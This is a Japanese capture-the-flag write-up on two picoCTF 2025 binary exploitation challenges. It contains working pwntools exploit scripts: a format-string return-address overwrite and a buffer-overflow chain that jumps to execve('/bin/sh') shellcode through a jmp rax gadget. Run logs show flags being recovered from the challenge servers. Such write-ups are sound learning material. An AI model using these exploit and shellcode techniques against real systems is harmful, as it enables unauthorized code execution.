[*] You heard in the distance:                                                                                                  1d88b0c1                                                        0  h5\x15=þ\x7fThe Valley Disappears
    Congrats! Here is your flag: picoCTF{deadbeef}
Traceback (most recent call last):
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/exploit_valley.py", line 78, in <module>
    main()
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/exploit_valley.py", line 74, in main
    attack( proc )
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/exploit_valley.py", line 59, in attack
    info( proc.recvline() )
          ^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 498, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
    res = self.recv(timeout=self.timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 35, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to localhost port 4000

ローカルだとうまくいくけど、サーバでは失敗するというのが、今回だけで 2回目です。もちろん、成功してる方がいるので、私の実装か、環境の問題だと思いますが、残念です。もう、残り時間は少ないですが、最後の問題に進みます。

後日の解き直し(2025/5/13)

こちらも、考え直します。

こちらも同じく、main関数のアドレスが取得して、エクスプロイトできると思って実装していましたが、なぜか、サーバだとうまくいかないので、戻り番地を使ってアドレス計算していきます。

変更後の attack関数だけを貼ります。

main関数ではなく、戻り番地のアドレスから計算するように変更しています。

def attack( proc, **kwargs ):
    
    if False:
        proc.sendlineafter( ': ', b'AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' )
        info( proc.recvline() )
        info( proc.recvline() )
    else:
        #proc.sendlineafter( 'Shouting: ', b'%20$p %25$p'.ljust(16, b' ') )
        proc.sendlineafter( 'Shouting: ', b'%20$p %21$p'.ljust(16, b' ') )
    
    info( proc.recvuntil('distance: ') ) # You heard in the distance: 
    
    if True:
        addr = proc.recvline().decode('utf-8')
        lst_addr = addr.split()
        info( f"addr={addr}, lst_addr[0]={lst_addr[0]}, lst_addr[1]={lst_addr[1]}" )
        addr_stack = int( lst_addr[0], 16 ) - 8
        addr_main  = int( lst_addr[1], 16 ) - 18
        #addr_main = unpack( proc.recv(6), 'all' )
    
    else:
        info( proc.recvline() )
        info( proc.recvline() )
        info( proc.recvline() )
    
    addr_flag = addr_main - diff
    
    info( f"addr_main=0x{addr_main:08x}, addr_flag=0x{addr_flag:08x}, addr_stack=0x{addr_stack:08x}" )
    second = (addr_flag >> 8) & 0xFF
    first  = addr_flag        & 0xFF
    if first < second:
        ss = f"%{first}x%9$hhn%{second - first}x%10$hhn"
        info( f"first < second: ss={ss}" )
        proc.sendline( ss.encode('utf-8').ljust(24, b' ') + p64(addr_stack) + p64(addr_stack+1) ) # 0x4A 0x61
    else:
        ss = f"%{second}x%9$hhn%{first - second}x%10$hhn"
        info( f"first > second: ss={ss}" )
        proc.sendline( ss.encode('utf-8').ljust(24, b' ') + p64(addr_stack+1) + p64(addr_stack) )
    
    proc.sendline( b'exit' )
    
    info( proc.recvall() )

実行します。何度かやったのですが、うまくいくこともあれば、うまくいかないこともありました。以下は、うまくいかなかった場合と、うまくいった場合の結果です。

何か、不確実な内容を含んでいるかもしれませんが、サーバの場合はデバッグが困難であることと、まぁ、CTF なので、ここまでとします。

$ python exploit_valley.py
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/EchoValley/valley'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] addr_main_offset=0x00001401, addr_flag_offset=0x00001269
[+] Opening connection to shape-facility.picoctf.net on port 64417: Done
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x2b bytes:
    b'Welcome to the Echo Valley, Try Shouting: \n'
[DEBUG] Sent 0x11 bytes:
    b'%20$p %21$p     \n'
/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/EchoValley/exploit_valley.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  info( proc.recvuntil('distance: ') ) # You heard in the distance:
[DEBUG] Received 0x3e bytes:
    b'You heard in the distance: 0x7ffc3fb0bab0 0x5b6949e40413     \n'
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*]
    You heard in the distance:
[*] addr=0x7ffc3fb0bab0 0x5b6949e40413
    , lst_addr[0]=0x7ffc3fb0bab0, lst_addr[1]=0x5b6949e40413
[*] addr_main=0x5b6949e40401, addr_flag=0x5b6949e40269, addr_stack=0x7ffc3fb0baa8
[*] first > second: ss=%2x%9$hhn%103x%10$hhn
[DEBUG] Sent 0x29 bytes:
    00000000  25 32 78 25  39 24 68 68  6e 25 31 30  33 78 25 31  x%2x%x9$hhxn%10x3x%1x
    00000010  30 24 68 68  6e 20 20 20  a9 ba b0 3f  fc 7f 00 00  x0$hhxn   x????x????x
    00000020  a8 ba b0 3f  fc 7f 00 00  0a                        x????x????x?x
    00000029
[DEBUG] Sent 0x5 bytes:
    b'exit\n'
[+] Receiving all data: Done (169B)
[DEBUG] Received 0x93 bytes:
    00000000  59 6f 75 20  68 65 61 72  64 20 69 6e  20 74 68 65  xYou xhearxd inx thex
    00000010  20 64 69 73  74 61 6e 63  65 3a 20 33  33 62 39 39  x disxtancxe: 3x3b99x
    00000020  35 63 30 20  20 20 20 20  20 20 20 20  20 20 20 20  x5c0 x    x    x    x
    00000030  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000080  20 20 20 20  20 20 20 20  20 30 20 20  20 a9 ba b0  x    x    x 0  x ???x
    00000090  3f fc 7f                                            x???x
    00000093
[DEBUG] Received 0x16 bytes:
    b'The Valley Disappears\n'
[*] Closed connection to shape-facility.picoctf.net port 64417
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] You heard in the distance: 33b995c0                                                                                                      0   ??°??\x7fThe Valley Disappears

$ python exploit_valley.py
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/EchoValley/valley'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] addr_main_offset=0x00001401, addr_flag_offset=0x00001269
[+] Opening connection to shape-facility.picoctf.net on port 64417: Done
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x2b bytes:
    b'Welcome to the Echo Valley, Try Shouting: \n'
[DEBUG] Sent 0x11 bytes:
    b'%20$p %21$p     \n'
/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/EchoValley/exploit_valley.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  info( proc.recvuntil('distance: ') ) # You heard in the distance:
[DEBUG] Received 0x3e bytes:
    b'You heard in the distance: 0x7ffda1f4ee60 0x625be7421413     \n'
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*]
    You heard in the distance:
[*] addr=0x7ffda1f4ee60 0x625be7421413
    , lst_addr[0]=0x7ffda1f4ee60, lst_addr[1]=0x625be7421413
[*] addr_main=0x625be7421401, addr_flag=0x625be7421269, addr_stack=0x7ffda1f4ee58
[*] first > second: ss=%18x%9$hhn%87x%10$hhn
[DEBUG] Sent 0x29 bytes:
    00000000  25 31 38 78  25 39 24 68  68 6e 25 38  37 78 25 31  x%18xx%9$hxhn%8x7x%1x
    00000010  30 24 68 68  6e 20 20 20  59 ee f4 a1  fd 7f 00 00  x0$hhxn   xY???x????x
    00000020  58 ee f4 a1  fd 7f 00 00  0a                        xX???x????x?x
    00000029
[DEBUG] Sent 0x5 bytes:
    b'exit\n'
[+] Receiving all data: Done (222B)
[DEBUG] Received 0x8d bytes:
    00000000  59 6f 75 20  68 65 61 72  64 20 69 6e  20 74 68 65  xYou xhearxd inx thex
    00000010  20 64 69 73  74 61 6e 63  65 3a 20 20  20 20 20 20  x disxtancxe:  x    x
    00000020  20 20 20 20  20 65 62 37  39 64 35 63  30 20 20 20  x    x eb7x9d5cx0   x
    00000030  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000080  20 20 20 30  20 20 20 59  ee f4 a1 fd  7f           x   0x   Yx????x?x
    0000008d
[DEBUG] Received 0x51 bytes:
    b'The Valley Disappears\n'
    b'Congrats! Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}\n'
[*] Closed connection to shape-facility.picoctf.net port 64417
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] You heard in the distance:           eb79d5c0                                                                                      0   Y????\x7fThe Valley Disappears
    Congrats! Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}

handoff(400 points)

1つの C言語のソースコード(handoff.c)と、1つのバイナリプログラム(handoff)をダウンロードできます。また、サーバを起動して進める問題のようです。

handoff(400 points)
handoff(400 points)

まずは、ソースコードです。

フラグの処理が見当たりませんが、おそらく、シェルを取ると、フラグのファイルを開くことが出来るんだと思います。

entry構造体は、name[8] と msg[64] をメンバに持ちます。NAME_LEN は、本来は 8 が適切ですが、64 になっています。よって、nameメンバのバッファオーバーフローが可能ですが、32byte までなので、msg の途中までが上書きできる感じだと思います。

メニューで、1 を選ぶと、現在のエントリの name を入力できます。total_entries をインクリメントするので、次のエントリに進む、ということだと思います。また、2 を選ぶと、現在のエントリの msg を入力できます。msg → name の順で入力していくことが想定されてそうです。

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
    char name[8];
    char msg[64];
} entry_t;

void print_menu() {
    puts("What option would you like to do?");
    puts("1. Add a new recipient");
    puts("2. Send a message to a recipient");
    puts("3. Exit the app");
}

int vuln() {
    char feedback[8];
    entry_t entries[10];
    int total_entries = 0;
    int choice = -1;
    // Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
    while (true) {
        print_menu();
        if (scanf("%d", &choice) != 1) exit(0);
        getchar(); // Remove trailing \n

        // Add entry
        if (choice == 1) {
            choice = -1;
            // Check for max entries
            if (total_entries >= MAX_ENTRIES) {
                puts("Max recipients reached!");
                continue;
            }

            // Add a new entry
            puts("What's the new recipient's name: ");
            fflush(stdin);
            fgets(entries[total_entries].name, NAME_LEN, stdin);
            total_entries++;
            
        }
        // Add message
        else if (choice == 2) {
            choice = -1;
            puts("Which recipient would you like to send a message to?");
            if (scanf("%d", &choice) != 1) exit(0);
            getchar();

            if (choice >= total_entries) {
                puts("Invalid entry number");
                continue;
            }

            puts("What message would you like to send them?");
            fgets(entries[choice].msg, MSG_LEN, stdin);
        }
        else if (choice == 3) {
            choice = -1;
            puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
            fgets(feedback, NAME_LEN, stdin);
            feedback[7] = '\0';
            break;
        }
        else {
            choice = -1;
            puts("Invalid option");
        }
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
    vuln();
    return 0;
}

時間切れです。お疲れさまでした。

後日の続き実施(2025/5/14)

続きをやっていきます。

表層解析を行います。

$ file handoff
handoff: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=92ca62928eb98ee283995cddad65f7732aad5e0f, for GNU/Linux 3.2.0, not stripped

$ ~/bin/checksec --file=handoff
RELRO          STACK CANARY     NX           PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  No RUNPATH  73 Symbols  No       0          1            handoff

$ pwn checksec --file=handoff
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/handoff/handoff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

シェルを取るための道筋を考えます。最終的に、system関数に、"/bin/sh" を与えることを目標にすると、まず、libc のベースアドレスを求める必要があります。puts関数しかないので、簡単にはアドレスをリークすることは難しそうです。

うーん、少し考えただけでは分からないですね。さすがに最後の問題は難しそうです。とりあえず、GOT あたりから見ていきます。一度実行されると、libc のアドレスが格納されるので、setvbuf関数の GOT も見てみます。libc のアドレスが入ってそうです。

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/handoff/handoff:
GOT protection: Partial RELRO | Found 7 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x404020] fgets@GLIBC_2.2.5 -> 0x401040 ◂— endbr64
[0x404028] getchar@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x404030] fflush@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
[0x404038] setvbuf@GLIBC_2.2.5 -> 0x401070 ◂— endbr64
[0x404040] __isoc99_scanf@GLIBC_2.7 -> 0x401080 ◂— endbr64
[0x404048] exit@GLIBC_2.2.5 -> 0x401090 ◂— endbr64

pwndbg> x/gx 0x404038
0x404038 <setvbuf@got.plt>:     0x00007ffff7e40f90

vuln関数の逆アセンブラを見てみます。

pwndbg> disassemble
Dump of assembler code for function vuln:
   0x0000000000401229 <+0>:     endbr64
   0x000000000040122d <+4>:     push   rbp
   0x000000000040122e <+5>:     mov    rbp,rsp
=> 0x0000000000401231 <+8>:     sub    rsp,0x2f0
   0x0000000000401238 <+15>:    mov    DWORD PTR [rbp-0x4],0x0
   0x000000000040123f <+22>:    mov    DWORD PTR [rbp-0x2e4],0xffffffff
   0x0000000000401249 <+32>:    mov    eax,0x0
   0x000000000040124e <+37>:    call   0x4011f6 <print_menu>
   0x0000000000401253 <+42>:    lea    rax,[rbp-0x2e4]
   0x000000000040125a <+49>:    mov    rsi,rax
   0x000000000040125d <+52>:    mov    edi,0x402079
   0x0000000000401262 <+57>:    mov    eax,0x0
   0x0000000000401267 <+62>:    call   0x4010f0 <__isoc99_scanf@plt>
   0x000000000040126c <+67>:    cmp    eax,0x1
   0x000000000040126f <+70>:    je     0x40127b <vuln+82>
   0x0000000000401271 <+72>:    mov    edi,0x0
   0x0000000000401276 <+77>:    call   0x401100 <exit@plt>
   0x000000000040127b <+82>:    call   0x4010c0 <getchar@plt>
   0x0000000000401280 <+87>:    mov    eax,DWORD PTR [rbp-0x2e4]
   0x0000000000401286 <+93>:    cmp    eax,0x1
   0x0000000000401289 <+96>:    jne    0x401301 <vuln+216>
   0x000000000040128b <+98>:    mov    DWORD PTR [rbp-0x2e4],0xffffffff
   0x0000000000401295 <+108>:   cmp    DWORD PTR [rbp-0x4],0x9
   0x0000000000401299 <+112>:   jle    0x4012aa <vuln+129>
   0x000000000040129b <+114>:   mov    edi,0x40207c
   0x00000000004012a0 <+119>:   call   0x4010a0 <puts@plt>
   0x00000000004012a5 <+124>:   jmp    0x401407 <vuln+478>
   0x00000000004012aa <+129>:   mov    edi,0x402098
   0x00000000004012af <+134>:   call   0x4010a0 <puts@plt>
   0x00000000004012b4 <+139>:   mov    rax,QWORD PTR [rip+0x2db5]        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x00000000004012bb <+146>:   mov    rdi,rax
   0x00000000004012be <+149>:   call   0x4010d0 <fflush@plt>
   0x00000000004012c3 <+154>:   mov    rcx,QWORD PTR [rip+0x2da6]        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x00000000004012ca <+161>:   lea    rsi,[rbp-0x2e0]
   0x00000000004012d1 <+168>:   mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004012d4 <+171>:   movsxd rdx,eax
   0x00000000004012d7 <+174>:   mov    rax,rdx
   0x00000000004012da <+177>:   shl    rax,0x3
   0x00000000004012de <+181>:   add    rax,rdx
   0x00000000004012e1 <+184>:   shl    rax,0x3
   0x00000000004012e5 <+188>:   add    rax,rsi
   0x00000000004012e8 <+191>:   mov    rdx,rcx
   0x00000000004012eb <+194>:   mov    esi,0x20
   0x00000000004012f0 <+199>:   mov    rdi,rax
   0x00000000004012f3 <+202>:   call   0x4010b0 <fgets@plt>
   0x00000000004012f8 <+207>:   add    DWORD PTR [rbp-0x4],0x1
   0x00000000004012fc <+211>:   jmp    0x401249 <vuln+32>
   0x0000000000401301 <+216>:   mov    eax,DWORD PTR [rbp-0x2e4]
   0x0000000000401307 <+222>:   cmp    eax,0x2
   0x000000000040130a <+225>:   jne    0x4013b6 <vuln+397>
   0x0000000000401310 <+231>:   mov    DWORD PTR [rbp-0x2e4],0xffffffff
   0x000000000040131a <+241>:   mov    edi,0x4020c0
   0x000000000040131f <+246>:   call   0x4010a0 <puts@plt>
   0x0000000000401324 <+251>:   lea    rax,[rbp-0x2e4]
   0x000000000040132b <+258>:   mov    rsi,rax
   0x000000000040132e <+261>:   mov    edi,0x402079
   0x0000000000401333 <+266>:   mov    eax,0x0
   0x0000000000401338 <+271>:   call   0x4010f0 <__isoc99_scanf@plt>
   0x000000000040133d <+276>:   cmp    eax,0x1
   0x0000000000401340 <+279>:   je     0x40134c <vuln+291>
   0x0000000000401342 <+281>:   mov    edi,0x0
   0x0000000000401347 <+286>:   call   0x401100 <exit@plt>
   0x000000000040134c <+291>:   call   0x4010c0 <getchar@plt>
   0x0000000000401351 <+296>:   mov    eax,DWORD PTR [rbp-0x2e4]
   0x0000000000401357 <+302>:   cmp    DWORD PTR [rbp-0x4],eax
   0x000000000040135a <+305>:   jg     0x40136b <vuln+322>
   0x000000000040135c <+307>:   mov    edi,0x4020f5
   0x0000000000401361 <+312>:   call   0x4010a0 <puts@plt>
   0x0000000000401366 <+317>:   jmp    0x401407 <vuln+478>
   0x000000000040136b <+322>:   mov    edi,0x402110
   0x0000000000401370 <+327>:   call   0x4010a0 <puts@plt>
   0x0000000000401375 <+332>:   mov    rcx,QWORD PTR [rip+0x2cf4]        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x000000000040137c <+339>:   mov    eax,DWORD PTR [rbp-0x2e4]
   0x0000000000401382 <+345>:   lea    rsi,[rbp-0x2e0]
   0x0000000000401389 <+352>:   movsxd rdx,eax
   0x000000000040138c <+355>:   mov    rax,rdx
   0x000000000040138f <+358>:   shl    rax,0x3
   0x0000000000401393 <+362>:   add    rax,rdx
   0x0000000000401396 <+365>:   shl    rax,0x3
   0x000000000040139a <+369>:   add    rax,rsi
   0x000000000040139d <+372>:   add    rax,0x8
   0x00000000004013a1 <+376>:   mov    rdx,rcx
   0x00000000004013a4 <+379>:   mov    esi,0x40
   0x00000000004013a9 <+384>:   mov    rdi,rax
   0x00000000004013ac <+387>:   call   0x4010b0 <fgets@plt>
   0x00000000004013b1 <+392>:   jmp    0x401249 <vuln+32>
   0x00000000004013b6 <+397>:   mov    eax,DWORD PTR [rbp-0x2e4]
   0x00000000004013bc <+403>:   cmp    eax,0x3
   0x00000000004013bf <+406>:   jne    0x4013f3 <vuln+458>
   0x00000000004013c1 <+408>:   mov    DWORD PTR [rbp-0x2e4],0xffffffff
   0x00000000004013cb <+418>:   mov    edi,0x402140
   0x00000000004013d0 <+423>:   call   0x4010a0 <puts@plt>
   0x00000000004013d5 <+428>:   mov    rdx,QWORD PTR [rip+0x2c94]        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x00000000004013dc <+435>:   lea    rax,[rbp-0xc]
   0x00000000004013e0 <+439>:   mov    esi,0x20
   0x00000000004013e5 <+444>:   mov    rdi,rax
   0x00000000004013e8 <+447>:   call   0x4010b0 <fgets@plt>
   0x00000000004013ed <+452>:   mov    BYTE PTR [rbp-0x5],0x0
   0x00000000004013f1 <+456>:   jmp    0x40140c <vuln+483>
   0x00000000004013f3 <+458>:   mov    DWORD PTR [rbp-0x2e4],0xffffffff
   0x00000000004013fd <+468>:   mov    edi,0x4021b6
   0x0000000000401402 <+473>:   call   0x4010a0 <puts@plt>
   0x0000000000401407 <+478>:   jmp    0x401249 <vuln+32>
   0x000000000040140c <+483>:   nop
   0x000000000040140d <+484>:   leave
   0x000000000040140e <+485>:   ret
End of assembler dump.

スタックを可視化します。

アドレス サイズ 内容
rbp - 0x2f0 12 未使用(rsp)
rbp - 0x2e4 4 choice
rbp - 0x2e0 720 entries[10]
rbp - 0x10 4 未使用
rbp - 0x0c 8 feedback[8]
rbp - 0x04 4 total_entries
rbp 8 呼び出し元のrbp

スタックカナリアなどが無いので、リターンアドレスを書き換えることが出来そうです。ROPガジェットを使って、puts関数を呼び出し、setvbuf関数の GOT のアドレスをリークしたいところです。ROPガジェットの末尾に、vuln関数にジャンプするようにしておけば、何度も ROP が実行できそうです。

リターンアドレスに近いアドレスの feedback を書き込む処理である choice に 3 を入力した場合を考えます。feedback配列に、最大 32byte書き込めます。リターンアドレスまでと考えると、8+4+8+8=28byte で、ROPガジェットを作るには足りませんね。

これと同じように、ROPガジェットのための十分なメモリ量がないときの問題を、以下の Stack Pivot でやりました。

daisuke20240310.hatenablog.com

Stack Pivot について、忘れていたので、おさらいしてみます。

まず、vuln関数をリターンする前の leave命令では、RBP の値を RSP にコピーされて、スタックの Saved RBP の値(Aアドレスとする)が RBP にコピーされます(pop rbp)。これにより、main関数のスタックフレームに復帰したわけです。

次に、リターンアドレスを書き換えて、ROPガジェットに leave命令をセットしておくと、ret命令で、leave命令にジャンプします。すると、現在の RBP の値、すなわち、先ほどの Saved RBP の値(Aアドレス)が RSP にコピーされます。そして、Saved RBP の値、すなわち、現在の RSP が指している Aアドレスにある値(Bアドレスとする)を RBP にコピーされます(pop rbp)。

リターンアドレスを書き換えるときに、Saved RBP も書き換えるので、ROPガジェットに、leave命令をセットしておくことで、RSP に任意のアドレスを設定することが出来るというわけです。ただ、Bアドレスを pop するときに、RSP が 1つ進むので、実際に、ROPガジェットを置くアドレスから、-8 した値を Save RBP(Aアドレス)に書き込む必要があります。

なお、RSP の移動先としては、任意の値を書き込める entries を想定しています。この entries のアドレスを知る必要があります。少し考えましたが、アドレスを出力する手段が見当たりません。うーん、ギブアップです。最後の問題だけ、とても難易度が高いですね。

では、writeup を探してみます。日本語の writeup は見つかりませんでしたが、いくつかの海外のサイトで解説がありました。以下が丁寧に解説されていたので、参考にさせて頂きました。

hackmd.io

ポイントは、NX が disabled であるため、スタック上のコードを実行できることです。3 を選択し、fgets(feedback, NAME_LEN, stdin); を実行したとき、RAX には、fgets関数の戻り値として、feedback のアドレスが入ります。リターンアドレスを書き換えて、jmp rax のコードにジャンプすると、feedback に格納したシェルコードを実行することが出来るとのことでした。NX disable を見逃してしまったのがダメでした。

rp++ で、jmp rax を探して見ます。2か所見つかりました。

$ rp-lin -f handoff -r 10 | grep 'jmp rax'
0x40116c: jmp rax ; (1 found)
0x4011ae: jmp rax ; (1 found)
0x401167: mov edi, 0x00404060 ; jmp rax ; (1 found)
0x4011a9: mov edi, 0x00404060 ; jmp rax ; (1 found)
0x401166: or  [rdi+0x00404060], edi ; jmp rax ; (1 found)

次に、feedback に、どんなシェルコードを置けばいいか、ということが説明されています。feedback、total_entries、Saved RBP の計20byte では、大きなシェルコードは置けません。そこで、シェルを起動するためのシェルコードは、entries[0] の msg(64byte)に置いておき、feedback には、そこにジャンプするコードを置くとのことです。ジャンプするコードとは、RSP とのオフセットを調べておき、sub rsp, 0xXX を実行して、jmp rsp を実行します。オフセットは、スタックの可視化より、ret 実行後の rsp のアドレス(rbp + 8)から、entries[0].msg(rbp - 0x2e0 + 8)を引くので、0x2e0 になります。どんなシェルコードになるかを確認します。

ちなみに、参考にさせて頂いたサイトでは、以下のようなアセンブラを書かれていました。

nop
sub rsp, 0x2e8
jmp rsp

なるほど、sub rsp, 0x2e8 が 7byte なので、nop を入れたんですね。なぜ必要なのかは、分かりませんけど。最初のシェルコードは 10byte のようです。

$ python

>>> from pwn import *
>>> context(os = 'linux', arch = 'amd64')

>>> asm("sub rsp, 0x2e0")
b'H\x81\xec\xe0\x02\x00\x00'
>>> len(asm("sub rsp, 0x2e0"))
7

>>> asm("jmp rsp")
b'\xff\xe4'
>>> len(asm("jmp rsp"))
2

>>> asm("nop")
b'\x90'
>>> len(asm("nop"))
1

>>> asm("nop; sub rsp, 0x2e0; jmp rsp")
b'\x90H\x81\xec\xe0\x02\x00\x00\xff\xe4'
>>> len(asm("nop; sub rsp, 0x2e0; jmp rsp"))
10

次に、シェルを取るためのシェルコードの方を見ていきます。pwntools には、シェルを取るためのシェルコードを簡単に取得できます。中身は理解できてませんが使っていきます。

$ python

>>> from pwn import *
>>> context(os = 'linux', arch = 'amd64')

>>> shellcraft.sh()
"    /* execve(path='/bin///sh', argv=['sh'], envp=0) */\n
    /* push b'/bin///sh\\x00' */\n
    push 0x68\n
    mov rax, 0x732f2f2f6e69622f\n
    push rax\n
    mov rdi, rsp\n
    /* push argument array ['sh\\x00'] */\n
    /* push b'sh\\x00' */\n
    push 0x1010101 ^ 0x6873\n
    xor dword ptr [rsp], 0x1010101\n
    xor esi, esi /* 0 */\n
    push rsi /* null terminate */\n
    push 8\n
    pop rsi\n
    add rsi, rsp\n
    push rsi /* 'sh\\x00' */\n
    mov rsi, rsp\n
    xor edx, edx /* 0 */\n
    /* call execve() */\n
    push SYS_execve /* 0x3b */\n
    pop rax\n
    syscall\n"

これでパーツは揃ったので、エクスプロイトコードを実装していきます。

#!/usr/bin/env python3
from pwn import *
import time

bin_file = './handoff'
context(os = 'linux', arch = 'amd64')
context(terminal = ['tmux', 'splitw', '-h'])
context.log_level = 'debug'

binf = ELF( bin_file )

def attack( proc, **kwargs ):
    
    shellcode  = asm(shellcraft.sh())
    somenop    = asm("nop") * (63 - len(shellcode))
    helpercode = asm("nop; sub rsp, 0x2e8; jmp rsp") + b'a' * 10 + p64(0x40116c)
    
    proc.sendlineafter( '3. Exit the app', b'1' )
    proc.sendlineafter( 'name: ', b'name' )
    
    proc.sendlineafter( '3. Exit the app', b'2' )
    proc.sendlineafter( 'send a message to?', b'0' )
    proc.sendlineafter( 'send them?', somenop + shellcode )
    
    proc.sendlineafter( '3. Exit the app', b'3' )
    proc.sendlineafter( 'really appreciate it: ', helpercode )
    
    #info( proc.recvall() )

def main():
    
    adrs = "shape-facility.picoctf.net"
    port = 53574
    
    #proc = gdb.debug( bin_file )
    #proc = process( bin_file )
    proc = remote( adrs, port )
    
    attack( proc )
    proc.interactive()

if __name__ == '__main__':
    main()

実行してみます。

$ python exploit_handoff.py
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/handoff/handoff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Starting local process './handoff' argv=[b'./handoff'] : pid 1295831
[DEBUG] cpp -C -nostdinc -undef -P -I/home/user/20240819/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
